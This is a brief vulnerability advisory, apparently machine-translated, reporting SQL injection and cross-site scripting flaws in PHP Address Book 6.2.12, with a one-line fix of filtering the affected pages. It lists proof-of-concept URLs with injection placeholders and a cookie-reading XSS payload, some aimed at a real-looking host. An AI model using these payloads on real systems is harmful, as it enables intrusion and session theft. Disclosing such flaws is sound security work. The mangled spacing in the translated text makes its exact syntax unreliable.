PHP Address Book 6.2.12 multiple security defects and repair

Title: PHP Address Book 6.2.12 Multiple security vulnerabilities
By Stefan Schurtz
Affected Software: Successfully tested on PHP Address Book 6.2.12
Developer Website: http://sourceforge.net/projects/php-addressbook/
Defect description
======================================
PHP Address Book 6.2.12 is contains multiple xss and SQL Injection Problems
============================
Test proof
============================
// Blind Injection
Http://www.bkjia.com/addressbook/edit. php? Id = [SQL-injection]
Http://www.bkjia.com/addressbook/group. php? Add = Add to & group = 1 & selected % 5b % 5d = 132 & to_group = [SQL-injection]
Http: // [target]/addressbook/vcard. php? Id = [SQL-injection]
// XSS
Http: // [target]/addressbook/preferences. php? From = '"</script> <script> alert (document. cookie) </script>
Http: // [target]/addressbook/index. php? Group = '"</script> <script> alert (document. cookie) </script>
 
Www.2cto.com:
 
Filter the corresponding pages based on the above Code